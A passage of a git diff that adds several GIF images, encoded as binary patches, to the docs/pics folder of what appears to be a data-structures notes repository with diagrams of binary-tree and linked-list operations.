z*b`AVwqx{q$bh^jLdM}*1FG{v%8xQx{ekT6#K@CBYNUP1o)tUH{?Nw?+fGsH$}S-6
z5=x%^O5(-EAubw;nfXARn^LhNUMT7FQ??v9$NG%}p&wMsD>7-C4RQEGtiTA|bnw&*
zhgq7MZP@X_(pztKQzAqb$A6#T6i>~5MD?*)sETyj`qdRbT}Nt-mkOU$8$Rv!?m0m`
zJnGX~+EGbT6m4sG#cb)mYodwct;9SxDfi(UKjJ#JVv!;3-rIT%wfL2O^gwQ=`KQ9q
z-yTO3(hqy|4j%3-IXth`DJkXM`ik{ypdmXh4kj}jE^{vfW_m!+l4T9P->)=ZG&kn_
zWiHVlb7#G}l>4Z^@CUJmY|cDRZY6e%_+mZh-VY4k;~Fs{Iwsn`<54bWsl9SJO>&Ah
zM*L^zj3`+~B!Q1RF`J$uaaq+)m6oV(E{Ca0=D118y%zIFVjFwqnzLde<ve#jJkuk@
z+tuJ~+l{3u#^N;;ib-^7>e%Q#85wg)HDb)s=7YWW^S)j`^==-UWi%w{&9QsmG6i!>
zDYo&0X)^IiB{sw@uhPUgfx<h8JB%F?++_9#td(+Iv7PMc#$O$xm!_h};)ijvoQgO0
zc_oX&rIc%~|IzeP{U8dVQuUe>yR#DW^J#fLthA@s2Xbxa9+Ntlmrq>v%zOAWwh#yB
z)XN`r6N|DIEfKw8aj*~N{!EUOG#2M}Oap5<Gbmo&rmER$M&m2O9DNQr!zLc^jLZxk
zWxi9Qpg6e-gWM)%K%2OBb=RefStg=#Zwu9$_PAw-#7ftU#cM5$Ij0e0cXixMP{qcS
zc#4?_I`vA)_EPw(?0OTm7dYhD3@l3`TMo6tA&1SOgi&JzCg_}G?EG<hYphs4Q+>9r
vl*^vpjhAWR+(aON^roPVr;jh;bihe}g1vW`ukSI3<K_W=K>vT{|Np-Lj`%@e

literal 0
HcmV?d00001

diff --git a/docs/pics/_u4E8C_u53C9_u6811_u7684_u4E0B_1548504426508.gif b/docs/pics/_u4E8C_u53C9_u6811_u7684_u4E0B_1548504426508.gif
new file mode 100644
index 0000000000000000000000000000000000000000..9941311f04c226c4c6e29a2ad4b25dd050f0e022
GIT binary patch
literal 12288
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

literal 0
HcmV?d00001

diff --git a/docs/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548503461113.gif b/docs/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548503461113.gif
new file mode 100644
index 0000000000000000000000000000000000000000..8c0ba8e3803033d1e3dd1041897bdf432b6debe6
GIT binary patch
literal 15360
zcmeI32T+s$y64~Y&=YE?Mp2r8QIM_%=|u!V1VzLSh!CWR*g}ymh9c4ly?3Mwp(#~C
zkq*+UAWgcsuj2pSbM8HRc6a9P+?}11VVF#K8Q{m{`MlrqXlSX+$zQdD9)_#~02+qE
zA{p3OIXJnvxp3Uv+&nzIeE9tb#E%dZl!#gy>gUd!xnO+Z-fi<+_O6bP+}*u=Uxo(9
z#zZG3CZ=WOC+Ahg6}1*t)YaD2w>H&(c;C|5+1}gNKREQ|%kb!z(W$Pnh33)k)gzlV
zBU|srw%RARd#1MsXa4<TXm)#OX8YIY+3oSUwYAm7^|j^AjrFaq%`Nb;y|caZW9P?@
z-T$q}pUZy!{JD4ezdiX6-~B&(9lY#cU;4j&R{#8v|M^${$$w|>*Zx1c0K9nrPX;|T
